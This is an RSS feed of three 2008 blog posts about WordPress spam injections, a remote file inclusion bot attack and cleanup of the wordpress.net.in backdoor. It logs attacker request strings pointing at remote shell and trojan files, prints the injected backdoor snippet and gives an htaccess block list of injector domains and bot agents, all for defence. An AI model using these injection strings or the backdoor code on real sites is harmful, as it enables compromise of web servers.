<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Kakkoi &#187; injection</title>
	<atom:link href="http://42.kaizeku.com/topics/security/injection/feed/" rel="self" type="application/rss+xml" />
	<link>http://42.kaizeku.com</link>
	<description>web development, software, windows tips and trick</description>
	<pubDate>Sat, 12 Jul 2008 15:10:01 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6</generator>
	<language>en</language>
	<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>Blackhat SEO Spammer targeting High PR WordPress Blog</title>
		<link>http://42.kaizeku.com/wordpress/blackhat-seo-spammer-target-high-pr-wordpress-blog/</link>
		<comments>http://42.kaizeku.com/wordpress/blackhat-seo-spammer-target-high-pr-wordpress-blog/#comments</comments>
		<pubDate>Thu, 14 Feb 2008 20:14:48 +0000</pubDate>
		<dc:creator>Avice De'veréux</dc:creator>
		
		<category><![CDATA[Security]]></category>

		<category><![CDATA[WordPress]]></category>

		<category><![CDATA[injection]]></category>

		<category><![CDATA[owned]]></category>

		<category><![CDATA[Blackhat]]></category>

		<category><![CDATA[Bluehost]]></category>

		<category><![CDATA[css cloacking]]></category>

		<category><![CDATA[HostMonster]]></category>

		<category><![CDATA[localrank]]></category>

		<category><![CDATA[networm]]></category>

		<category><![CDATA[script injection]]></category>

		<category><![CDATA[spamdexing]]></category>

		<category><![CDATA[sybil+attack]]></category>

		<category><![CDATA[xmlrpc]]></category>

		<guid isPermaLink="false">http://blog.kakkoi.net/wordpress/blackhat-seo-spammer-target-high-pr-wordpress-blog/</guid>
		<description><![CDATA[thinkingphp.org (PR6) &#038; jensfrake.com (PR7) has been hijacked by “Wordpress Blackhat SEO Spammer” for this month. Both sites were running on WordPress 2.3.2.]]></description>
			<content:encoded><![CDATA[
<!-- google_ad_section_start -->
<p><img src='http://blog.kakkoi.net/wp-content/uploads/2008/03/wordpress-blackhat-seo-spam.png' alt='wordpress-blackhat-seo-spam.png image by chaoskaizer' width="128" height="128" longdesc="http://blog.kakkoi.net/wordpress/how-to-removed-wordpress-net-in-spam-injection-infected-by-mike-jagger-goro-class-mailphp/" class="photo thumb- fl" />I&#8217;ve been monitoring <span class="vcard"><a class="url fn microformat icn-r1" href="http://mattheaton.com" title="bluehost &#038; hostmonster CEO">mattheaton.com</a></span> &#8220;<strong class="fw-">wordpress.net.in goro spam injections</strong>&#8221; for this past few months. Noticeably, the blackhat spamming method is changing dramatically. For those who are still unaware of Wordpress Goro Spam please read my earlier post &rarr; <a href="/wordpress/bluehost-hostmonster-ceo-blog-got-hacked/" title="Matt Heaton BlueHost HostMonster CEO's Official Blog Hacked">Wordpress.net.in Spam injection</a>&#038; <a href="/wordpress/mattheaton-bluehost-hostmonster-ceo-hacked/" title="Matt Heaton Bluehost Hostmonster CEO Hacked Again - Strike II">Gaming Bluehost &#038; Hostmonster CEO&#8217;s Blog</a>.</p>
<p><a href="http://thinkingphp.org" class="exturl icn-r1" title="thinkingphp.org">thinkingphp.org </a><small>(PR6)</small> &#038; <a href="http://jensfrake.com" title="jensfrake.com" class="exturl icn-r1">jensfrake.com</a> <small>(PR7)</small> has been hijacked by &#8220;Wordpress Blackhat SEO Spammer&#8221; for this month. Both sites were running on <strong>WordPress 2.3.2</strong>. </p>
<p>By now the <strong class="fw-"><em title="id goro">&lt;div id=&#8221;goro&#8221;&gt;</em></strong> signature has been replaced with &#8220;Inline CSS&#8221; wrapper.</p>
<h3>Cloacking Check on Mattheaton.com</h3>
<dl class="def">
<dt>Normal Browser</dt>
<dd>32,246 characters - <a href='http://blog.kakkoi.net/wp-content/uploads/2008/02/mattheaton-com-source.txt' title='mattheaton-com-source.txt' class="inturl icn-l1" rel="nofollow noarchive noindex" type="text/plain">mattheaton-com-source.txt</a></dd>
<dt>Google bot</dt>
<dd>34,646 characters - <a href='http://blog.kakkoi.net/wp-content/uploads/2008/02/mattheaton-com-googlebot-source.txt' title='mattheaton-com-googlebot-source.txt' class="inturl icn-l1" rel="nofollow noarchive noindex" type="text/plain">mattheaton-com-googlebot-source.txt</a></dd>
<dt>Difference</dt>
<dd>2,400 characters</dd>
</dl>
<p><span id="more-209"></span></p>
<h3>Cloacking Check on jensfrake.com &#038; blog.jensfrake.com</h3>
<dl class="def">
<dt>Normal Browser</dt>
<dd>59,580 characters - <a href='http://blog.kakkoi.net/wp-content/uploads/2008/02/blogjensfrakecomsource.txt' title='blogjensfrakecomsource.txt' class="inturl icn-l1" rel="nofollow noarchive noindex" type="text/plain">blogjensfrakecom.txt</a></dd>
<dt>Google bot</dt>
<dd>59,699 characters - <a href='http://blog.kakkoi.net/wp-content/uploads/2008/02/blog-jensfrake-com-googlebot-source.txt' title='blog-jensfrake-com-googlebot-source.txt' class="inturl icn-l1" rel="nofollow noarchive noindex" type="text/plain">blogjensfrakecom-googlebot.txt</a></dd>
<dt>Difference</dt>
<dd>119 characters</dd>
</dl>
<p class="notice">While scanning jensfrake.com their server return 400-500 error, so we had to scan his (clone) subdomain blog.jensfrake.com instead of the main site</p>
<p>This time around, you wont see the spam on both of this website, all the spam links is position out of the client view-port (top -3337px, left -2227px). </p>
<p><small>another mathematical jokes, l33t.</small></p>
<pre>
&lt;div style=&quot;left: -2227px; position: absolute; top: -3337px&quot;&gt;
</pre>
<h5 class="mgb-">What&#8217;s new with Goro spam 2008</h5>
<ul class="xoxo exturl">
<li>WordPress <= 2.3.2 is vulnerable to this attack. </li>
<li>Inject Spamlinks wrap with extra Inline CSS for cloacking</li>
<li>Target High PR Sites &rarr; PR5 and above</li>
</ul>
<h5 class="mgt mgb-">Related Post</h5>
<ul class="xoxo exturl">
<li><a class="inturl" href="/wordpress/bluehost-hostmonster-ceo-blog-got-hacked/" title="Matt Heaton BlueHost HostMonster CEO Official Blog Hacked">Matt Heaton BlueHost HostMonster CEO&#8217;s Official Blog Hacked</a></li>
<li><a class="inturl" href="/wordpress/how-to-removed-wordpress-net-in-spam-injection-infected-by-mike-jagger-goro-class-mailphp/" title="How to Removed Wordpress.net.in Spam Injection">How to Removed Wordpress.net.in Spam Injection</a></li>
<li><a class="inturl" href="/wordpress/mattheaton-bluehost-hostmonster-ceo-hacked/" title="Matt Heaton Bluehost Hostmonster CEO Hacked Again - Strike II">Matt Heaton Bluehost Hostmonster CEO Hacked Again - Strike II</a></li>
</ul>
<h3 class="mgt">External Links</h3>
<ul class="xoxo exturl">
<li><a href="http://blog.kakkoi.net/uri/bnZkLm5pc3QuZ292L252ZC5jZm0_Y3ZlbmFtZT1DVkUtMjAwNi00NzQz.curie,80,302" title="National Vulnerabilities Database (NVD) on Wordpress 2.0 &gt; 2.0.5 vulnerabilities">National Vulnerabilities Database (NVD) on Wordpress 2.0 &gt; 2.0.5 vulnerabilities</a></li>
</ul>
<!-- google_ad_section_end -->
]]></content:encoded>
			<wfw:commentRss>http://42.kaizeku.com/wordpress/blackhat-seo-spammer-target-high-pr-wordpress-blog/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Mass Remote Code Injection as Googlebot - Packet Spoofing Perl bot &#38; Trojan</title>
		<link>http://42.kaizeku.com/security/injection/owned-mass-remote-code-injection-as-googlebot-packet-spoofing-perl-shellbot-php-trojan/</link>
		<comments>http://42.kaizeku.com/security/injection/owned-mass-remote-code-injection-as-googlebot-packet-spoofing-perl-shellbot-php-trojan/#comments</comments>
		<pubDate>Fri, 21 Dec 2007 22:48:35 +0000</pubDate>
		<dc:creator>Noah Ark</dc:creator>
		
		<category><![CDATA[Security]]></category>

		<category><![CDATA[injection]]></category>

		<category><![CDATA[Amidalla]]></category>

		<category><![CDATA[libwww-perl]]></category>

		<category><![CDATA[owned]]></category>

		<category><![CDATA[packet spoofing]]></category>

		<category><![CDATA[PHP+Rst.S]]></category>

		<category><![CDATA[ShellBot.B]]></category>

		<category><![CDATA[Trojan]]></category>

		<category><![CDATA[wp]]></category>

		<guid isPermaLink="false">http://blog.kakkoi.net/security/injection/owned-mass-remote-code-injection-as-googlebot-packet-spoofing-perl-shellbot-php-trojan/</guid>
		<description><![CDATA[<img src='http://blog.kakkoi.net/wp-content/uploads/2007/12/owned.thumbnail.jpg' class="fl" alt='cat owned' longdesc="http://blog.kakkoi.net/wp-content/uploads/2007/12/owned.thumbnail.jpg"/>For this past three days this blog is suffering DOS attack . The attack is still alive now I don't think they will leave yet.

I cant banned this bot directly as they were sending <strong>forge packet</strong> (packet spoofing) as <strong>googlebot </strong> http://www.whois-search.com/whois/64.233.166.136. Im still looking for the right ISP.
<pre class="prebox cl" style="height:100px">
OrgName:    Google Inc.
OrgID:      GOGL
Address:    1600 Amphitheatre Parkway
City:       Mountain View
StateProv:  CA
PostalCode: 94043
Country:    US
</pre>

<p class="padbox" style="background-color:#ffd">At the time being I blocked all remote streams from their random host *.com and "perl bot signature" but blocking will not stop them from hammering this site. I'll be sending 503 (Service Unavailable) on certain request so if you are having problem accessing this site please check back later. </p>

<h2 class="sep">Type of injections</h2>
There is lot uri parameter in my logs (I will disabled server logs - limit resources) they probably has a large inventories check-lists of known CMS vulnerabilities. I can only confirm that its a blackhat seo spams bot as they request uri include the typical order.php page.]]></description>
			<content:encoded><![CDATA[
<!-- google_ad_section_start -->
<p><img src="http://blog.kakkoi.net/wp-content/uploads/2007/12/owned.thumbnail.jpg" class="fl" alt="cat owned" longdesc="http://blog.kakkoi.net/wp-content/uploads/2007/12/owned.thumbnail.jpg" />For this past three days this blog is suffering DOS attack . The attack is still alive now I don&#8217;t think they will leave yet.</p>
<p>I cant banned this bot directly as they were sending <strong>forge packet</strong> (packet spoofing) as <strong>googlebot </strong> http://www.whois-search.com/whois/64.233.166.136. Im still looking for the right ISP.</p>
<pre class="prebox cl" style="height: 100px">
OrgName: Google Inc.
OrgID: GOGL
Address: 1600 Amphitheatre Parkway
City: Mountain View
StateProv: CA
PostalCode: 94043
Country: US</pre>
<p><span id="more-103"></span></p>
<p class="padbox notice">At the time being I blocked all remote streams from their random host *.com and &#8220;perl bot signature&#8221; but blocking will not stop them from hammering this site. I&#8217;ll be sending 503 (Service Unavailable) on certain request so if you are having problem accessing this site please check back later.</p>
<h2 class="sep">Type of injections</h2>
<p>There is lot uri parameter in my logs (I will disabled server logs - limit resources) they probably has a large inventories check-lists of known CMS vulnerabilities. I can only confirm that its a blackhat seo spams bot as they request uri include the typical order.php page.</p>
<pre class="prebox">
/es/wordpress/how-to-removed-wordpress-net-in-spam-injection-infected-by-mike-ja
 gger-goro-class-mailphp/order.php/?wp=http://hom3.t35.com/xpl/hack/id.txt?
/es/wordpress/order.php/?wp=http://hom3.t35.com/xpl/hack/id.txt?
/order.php?wp=http://hom3.t35.com/xpl/hack/id.txt?</pre>
<p>To view the following source you need to exclude the website host from your anti-virus program.</p>
<ul>
<li> <strong>Perl/ShellBot.B trojan</strong> - http://hom3.t35.com/xpl/fidz/hack/bnc.txt</li>
<li> <strong>PHP/Rst.S Trojan</strong> - http://hom3.t35.com/xpl/fidz</li>
</ul>
<h2 class="cb">htaccess blocked bad Code Injector and Perl Bot (Botnet)</h2>
<p>If you has similar problems. you should block the following domain in your htaccess.<br />
mod_setenvif</p>
<pre class="prebox">
SetEnvIfNoCase Referer "^http://(www.)?t35\.com" codeinjector_ref=1
SetEnvIfNoCase Referer "^http://(www.)?jorgevolio\.com" codeinjector_ref=1
SetEnvIfNoCase Referer "^http://(www.)?emabe\.com" codeinjector_ref=1
SetEnvIfNoCase Referer "^http://(www.)?pawang\.in" codeinjector_ref=1
SetEnvIfNoCase Referer "^http://(www.)?gw-gold\.net" codeinjector_ref=1
SetEnvIfNoCase User-Agent "^libwww-perl*" shell_bots=1
SetEnvIfNoCase User-Agent "^Amidalla*" shell_bots=1

&lt;FilesMatch "(.*)"&gt;
Order Allow,Deny
Allow from all
Deny from env=codeinjector_ref
Deny from env=shell_bots
&lt;/FilesMatch&gt;
</pre>
<p>if u arent sure if you server support mod_setenvif wrap it like the below example.</p>
<pre>
&lt;IfModule mod_setenvif.c&gt;
#...replace this line with the above code...
&lt;/IfModule&gt;</pre>
<h2 class="sep">How to trap Perl Shell Bot</h2>
<p>We need a pattern to trap this bots. certainly we knew that these bots :</p>
<ul>
<li>doesn&#8217;t honor robot.txt</li>
<li>they crawl all subdirectory</li>
<li>they has a pattern URI request</li>
</ul>
<p>For now I only create subdirectory for auto-ban (and some other stuff) based on their pattern. alexa bot will be banned too as they dont honor robot.txt.</p>
<p>I&#8217;ll be updating this post from time to time. Do check the related articles on how to packet spoofing and validating forge/spoof packet.</p>
<h2 class="sep">Recent Scan &amp; Update</h2>
<p>The below list is automatically added.</p>
<dl id="code-injections" class="xoxo cf">
<dt class="title" style="border-top: 1px solid #eeeeee; padding: 3px 0pt; margin-top: 4px">December 24, 2007</dt>
<dd>ip: <tt>64.26.63.10</tt> param: <tt>login=</tt>,<tt>?</tt> inject: <tt>http://pawang.in/r57.txt</tt></dd>
<dt class="title" style="border-top: 1px solid #eeeeee; padding: 3px 0pt; margin-top: 4px">December 24, 2007</dt>
<dd>ip: <tt>64.26.63.10</tt> param: <tt>dir=</tt>,<tt>login=</tt> inject: <tt>http://pawang.in/r57.txt????</tt></dd>
<dt class="title" style="border-top: 1px solid #eeeeee; padding: 3px 0pt; margin-top: 4px">December 25, 2007</dt>
<dd>ip: <tt>59.158.128.138</tt> param: <tt>p=</tt>,<tt>:allinurl=</tt> inject: <tt>http://gw-gold.net/jpg/pictures/test.txt</tt></dd>
</dl>
<h2 class="sep">External Resources</h2>
<ul>
<li><a href="http://www.wireshark.org">Packet spoofing - http://www.wireshark.org</a></li>
<li><a href="http://www.eff.org/testyourisp/pcapdiff/">pcapdiff validate forged packet http://www.eff.org/testyourisp/pcapdiff/</a></li>
</ul>
<!-- google_ad_section_end -->
]]></content:encoded>
			<wfw:commentRss>http://42.kaizeku.com/security/injection/owned-mass-remote-code-injection-as-googlebot-packet-spoofing-perl-shellbot-php-trojan/feed/</wfw:commentRss>
		</item>
		<item>
		<title>How to remove wordpress.net.in spams</title>
		<link>http://42.kaizeku.com/wordpress/how-to-removed-wordpress-net-in-spam-injection-infected-by-mike-jagger-goro-class-mailphp/</link>
		<comments>http://42.kaizeku.com/wordpress/how-to-removed-wordpress-net-in-spam-injection-infected-by-mike-jagger-goro-class-mailphp/#comments</comments>
		<pubDate>Fri, 30 Nov 2007 09:06:54 +0000</pubDate>
		<dc:creator>Avice De'veréux</dc:creator>
		
		<category><![CDATA[WordPress]]></category>

		<category><![CDATA[injection]]></category>

		<category><![CDATA[vulnerability]]></category>

		<category><![CDATA[backdoor]]></category>

		<category><![CDATA[cloacking]]></category>

		<category><![CDATA[default-filters]]></category>

		<category><![CDATA[goro]]></category>

		<category><![CDATA[spam]]></category>

		<category><![CDATA[web+sniffer]]></category>

		<category><![CDATA[xmlrpc]]></category>

		<guid isPermaLink="false">http://blog.kakkoi.net/wordpress/how-to-removed-wordpress-spam-injection-infected-by-mike-jagger-goro-class-mailphp/</guid>
		<description><![CDATA[

I found this while browsing WordPress support forum, some of these victims update their default_filters.php and upload class-mail.php inside their WordPress without being aware that it&#8217;s a backdoor (wordpress.net.in). There is no class-mail.php in WordPress except class-phpmailer.php. So don&#8217;t get confuse by it.
Below is a quick workaround on how you can removed the offending goro [...]]]></description>
			<content:encoded><![CDATA[
<!-- google_ad_section_start -->
<p><img src='http://blog.kakkoi.net/wp-content/uploads/2008/03/wordpress-blackhat-seo-spam.png' alt='wordpress-blackhat-seo-spam.png image by chaoskaizer' width="128" height="128" longdesc="http://blog.kakkoi.net/wordpress/how-to-removed-wordpress-net-in-spam-injection-infected-by-mike-jagger-goro-class-mailphp/" class="photo thumb- fl" />I found this while browsing WordPress support forum, some of these victims update their <strong>default_filters.php</strong> and upload <tt class="di">class-mail.php</tt> inside their WordPress without being aware that it&#8217;s a <a href="http://en.wikipedia.org/wiki/Backdoor_%28computing%29" class="exturl icn-r1">backdoor</a> (wordpress.net.in). There is no <strong>class-mail.php</strong> in WordPress except <strong>class-phpmailer.php</strong>. So don&#8217;t get confuse by it.</p>
<p>Below is a quick workaround on how you can removed the offending <strong class="fw-">goro</strong> spamware injection before Google banned you from the internet pipes.</p>
<p><span id="more-51"></span></p>
<h2 class="cb mgt mgb-">Workaround</h2>
<ul class="xoxo exturl pdt">
<li>For temporary disable remote include in <tt class="di">php.ini</tt> settings.
<pre class="prebox">
;;;;;;;;;;;;;;;;;;
; Fopen wrappers ;
;;;;;;;;;;;;;;;;;;

; Whether to allow the treatment of URLs (like http:// or ftp://) as files.
allow_url_fopen = off
allow_url_include = off
</pre>
</li>
<li>Check your <em>.htaccess</em> for suspicious redirect.</li>
<li>Find <strong>class-mail.php</strong> inside <tt class="di">&#8220;*/wp-includes/&#8221;</tt> directory and removed it.</li>
<li>Find the following code inside <tt class="di">&#8220;*/wp-includes/default_filters.php&#8221;</tt> and removed it
<pre class="prebox">
add_action('wp_footer','wpc7c16b8466d864eeefd20050625c7775');
function wpc7c16<>b8466d864eeefd20050625c7775() {
@include('./wp-includes/class-mail.php');
if(sizeof($wparr)>0){
echo "!div id=\"goro\"!";
foreach($wparr as $k=>$v){
echo "“.ucwords($v[’key’]).”\n”;
if($i++==$inum) break;
}
echo “!/div!”.$_footer;
}
}
</pre>
</li>
<li>
<h3>Robots.txt Exclusion</h3>
<p><span class="fw">Optional</span> - Prevent googlebot from indexing the static spam page.<br />
Login to <tt class="di">Wordpress Admin > Manage > Files > Other Files</tt> &rarr; Key in &#8220;Robots.txt&#8221;. Add the following code.</p>
<pre class="prebox">
User-agent: Googlebot
Disallow: /*?*
Disallow: /*?
</pre>
<p>Refer <a href="http://blog.kakkoi.net/robots.txt" class="inturl icn-r1">robots.txt</a>.
</li>
</ul>
<h2>Possible WordPress class (suspicious) files that would be tempered</h2>
<p>Md5 checksum the following files, compare it with official versions from <a href="http://wordpress.org/download/release-archive/" class="exturl icn-r1">WordPress Release Archive</a>.</p>
<ul class="xoxo exturl">
<li><a href="http://xref.redalt.com/wptrunk/wp-includes/wp-db.php.source.htm">wp-db.php</a></li>
<li><a href="http://xref.redalt.com/wptrunk/wp-includes/gettext.php.source.htm">gettext.php</a></li>
</ul>
<p class="mgt">The above methods only remove and disabled the spams links, there is no guarantee that it will protected you from future vulnerabilities. Backup (or export your post using WordPress eXtended RSS -WRX) and perform a <a href="http://codex.wordpress.org/Upgrading_WordPress">full upgrade</a>.</p>
<dl class="r" style="padding:18px 2px;margin:18px 0px;border:1px solid #ccc;border-width:1px 0pt">
<dt class="title">Dec 13, 2007</dt>
<dd>
<p>I just notice this recently. You&#8217;ll need to check your site HTTP Header. Most of the hijacked websites doesn&#8217;t response with correct HTTP Status Header <tt class="di">(400<>500)</tt>. My guess is they did this to cloak from being crawl by search engine spiders. If you had cleaned all the infected files and your header doesn&#8217;t response correctly get a <a class="exturl icn-r1" href="http://www.google.com/search?q=apache+rootkit+scans">rookit scanner</a>.</p>
</dd>
<dd>
<p class="notice">Check your website status header, try cloak your browser (UA) as Search Engine Crawler. The following screenshot will show you how to setup this at web-sniffer.net.</p>
<p><img src='http://gmodules.com/ig/proxy?url=http://blog.kakkoi.net/wp-content/uploads/2007/12/change-user-agent-strings-as-googlebot.png' alt='change user agent strings as googlebot' style="padding:10px 2px;margin:10px 0px;border:1px solid #eee" width="584" height="274" longdesc="http://blog.kakkoi.net/wp-content/uploads/2007/12/change-user-agent-strings-as-googlebot.png" />
<p>This methods may not work if the cloaking scripts used IP base tracking. So try on different user agent string (ie: inoktomi, askjeeves, ia_archiver). </p>
<h3>Firefox Browser</h3>
<p>You can also override your useragent string with firefox &darr;.</p>
<p> <tt class="db" style="padding:3px;background-color:#fff7c7;color:#333">about:config &rarr; general.useragent.overide = &#8216;<a href="http://www.google.com/search?q=search+engine+user+agent" rel="external nofollow" rev="google:query">ua strings</a>&#8216;</tt></p>
</dd>
</dl>
<h3>Wordpress.net.in Backdoor</h3>
<p><a href='#' id='open-extra-info' onclick='wpi_fxToggle("#extra-info");return false;'>Extra info</a></p>
<dl class="r">
<dd id="extra-info" style="display:none"><strong>Dec 14, 2007</strong>
<p>I did some research at <a href="http://www.archive.org">archive.org</a>. It seem our wordpress.net.in Seo Spam has been going on since 2005. The first variant used file_get_contents() PHP functions to retrieve their sources code (A <a href="http://www.phpclasses.org/browse/file/7820.html">UTF MAP Decoder</a> 1974 Php Class ). </p>
<p>I also found a signature name <strong>alxumuk</strong> (at MIT &#038; wordpress.net.in). His first historic test can be root back at <tt>*.media.mit.edu/~?</tt> server (I hide the userid as it may be &#8220;false positive&#8221;). After my first search on google for alxumuk all the results has been scraped out by Google &#038; &#8220;Google alert&#8221; so there is no references to this query in Google Index.</p>
<p>My query for <tt class="db" style="padding:3px;background-color:#fff7c7;color:#333">file_get_contents include require allintext:1974.*</tt> (the UTF decode package) and the signature (alxumuk) will return <em>403 Forbidden</em>.</p>
<p style="text-align:center"><img src='http://gmodules.com/ig/proxy?url=http://blog.kakkoi.net/wp-content/uploads/2007/12/google-advance-query-403.jpg' alt='Google advance query 403' longdesc="http://blog.kakkoi.net/wp-content/uploads/2007/12/google-advance-query-403.jpg" width="469" height="600" /></p>
<p>As <a href="http://www.google.com/advanced_search?hl=en" hreflang="en" rel="external" rev="google:search">Google Advanced Search</a> blocked &#8220;the query&#8221; this may confirm that 1974.* (UTF decode) is probably the package for reading the bootstrap for wordpress.net.in backdoor (similar case like perl.santy net worm).</p>
<p> If this is a true Net Worm, I suggest anyone with older versions of Wordpress should removed\ the meta generator tag (Wordpress versions) and disabled XML-RPC(&#038; RSD) for <a href="http://www.google.com/search?q=hardening+wordpress">hardening wordpress</a> from remote vectors vulnerabilities.</p>
</dd>
</dl>
<h2>Wordpress.net.in Doorway</h2>
<p><span class="fw">Dec 24, 2007</span> &rarr; <tt class="di">http://www.wordpress.net.in/mentors/alxumuk/</tt></p>
<h2>Backdoor Files</h2>
<p>inside <tt class="di">wp-includes</tt> directory.</p>
<ul>
<li>compat.php - <small>(replace with latest version)</small></li>
<li>class-mail.php <small>delete</small></li>
</ul>
<p>scan &#038; removes all backdoor files and create a <tt class="di">.htaccess</tt> file inside <tt class="di">wp-includes</tt> &#038; <tt class="di">wp-content/plugins</tt>. Then add the following code to disabled directory listing (prevent informations leak &#038; Directory search index).</p>
<pre class="smallbox">Options -Indexes</pre>
<h2>Wordpress.net.in New Partner</h2>
<p><small>Feb 23th 2008</small>, We found a similar signature like wordpress.net.in at qwetro.com (germany). Probably from the same attacker with different agenda. </p>
<h2>removes malicious create_function wp_head filters</h2>
<p>This are fixes for <strong class="fw-">wordpress.net.in spams</strong> header injection.</p>
<pre class="prebox">&#47;&#42;&#42;
 &#42; Remove create_function action hook
 &#42; append on wordpress wp_head filters
 &#42;
 &#42; &#64;author Avice De&#39;v&#233;reux &#60;ck&#64;kaizeku&#46;com&#62;
 &#42; &#64;copyright Copyright &#40;c&#41; 2006 Avice De&#39;v&#233;reux
 &#42; &#64;version 1&#46;0
 &#42; &#64;license http&#58;&#47;&#47;www&#46;gnu&#46;org&#47;licenses&#47;lgpl&#46;html GNU Lesser General Public License
 &#42; &#64;link http&#58;&#47;&#47;blog&#46;kaizeku&#46;com&#47;wordpress&#47;goro&#45;spam&#45;injection&#45;wp&#45;head&#45;patch&#47;
 &#42;&#47;
function remove_create_function_action&#40;&#41;
&#123; global &#36;wp_filter&#59;

	&#36;action_ref	&#61; &#39;wp_head&#39;&#59;
	&#36;filter 	&#61; &#36;wp_filter&#91;&#36;action_ref&#93;&#59;
	&#36;_lambda	&#61; array&#40;&#41;&#59;

	foreach&#40;range&#40;1&#44;10&#41; as &#36;priority&#41;&#123;

		if &#40;isset&#40;&#36;filter&#91;&#36;priority&#93;&#41;&#41;
		&#123;
			foreach&#40;&#36;filter&#91;&#36;priority&#93; as &#36;registered_filter &#41;&#123;

				&#36;callback &#61; &#40;string&#41; &#36;registered_filter&#91;&#39;function&#39;&#93;&#59;

				if &#40; preg_match&#40;&#34;&#47;lambda&#47;&#34;&#44; &#36;callback&#41; &#41; &#123;
		 	 		&#36;_lambda&#91;&#36;priority&#93;&#91;&#93; &#61; &#36;callback&#59;
				&#125;
			&#125;

		&#125;
	&#125;

	if &#40; count&#40;&#36;_lambda&#41; &#62;&#61; 0 &#41;&#123;

		foreach&#40;&#36;_lambda as &#36;priority &#61;&#62; &#36;callback&#41; &#123;
			if &#40; has_filter&#40;&#36;action_ref&#44;&#36;callback&#41; &#41;&#123;
				remove_filter&#40;&#36;action_ref&#44; &#36;callback&#44; &#36;priority&#44; 1&#41;&#59;
			&#125;
		&#125;
	&#125;
&#125;

add_action&#40;&#39;init&#39;&#44;&#39;remove_create_function_action&#39;&#41;&#59;
</pre>
<p>The plugin&#8217;s can be download at <a href="http://blog.kaizeku.com/wordpress/goro-spam-injection-wp-head-patch/">Kaizeku Ban, goro spam injection fixes</a></p>
<h2 class="cb mgb-" id="rel-links">Related Posts</h2>
<ul class="xoxo exturl">
<li><a href="/wordpress/bluehost-hostmonster-ceo-blog-got-hacked" title="Bluehost HostMonster CEO Blog hacked (wordpress.net.in)" rev="site:related" rel="archive" class="inturl">Bluehost HostMonster CEO&#8217;s Blog hacked (wordpress.net.in)</a></li>
<li><a href="/wordpress/mattheaton-bluehost-hostmonster-ceo-hacked/" title="Matt Heaton Bluehost Hostmonster CEOs Hacked Again - Strike II" rev="site:related" rel="archive" class="inturl">Matt Heaton Bluehost Hostmonster CEO&#8217;s Hacked Again - Strike II</a></li>
</ul>
<h2 class="cb mgt mgb-" id="extt-links">External Links</h2>
<ul class="xoxo exturl">
<li><a rel="nofollow robots-nofollow" href="http://web-sniffer.net/">Websniffer View HTTP Request and Response Header</a></li>
<li><a rel="nofollow robots-nofollow" href="/uri/d29yZHByZXNzLm9yZy9zdXBwb3J0L3RvcGljLzE0NTg4MQ.curie,80,302">Wordpress Support Forum</a></li>
<li><a rel="nofollow" href="http://nvd.nist.gov/nvd.cfm?cvename=CVE-2006-4743" rel="external" rev="nist:nvd">National Vulnerability Database Wordpress 2.0 > 2.0.6</a></li>
</ul>
<h3 class="cb mgt title-">Short URL</h3>
<ul class="xoxo dn">
<li>
<input type="text" size="40" class="on-click-select" value="http://blog.kakkoi.net/ref/fixwpblackhatspam" /></li>
</ul>
<!-- google_ad_section_end -->
]]></content:encoded>
			<wfw:commentRss>http://42.kaizeku.com/wordpress/how-to-removed-wordpress-net-in-spam-injection-infected-by-mike-jagger-goro-class-mailphp/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
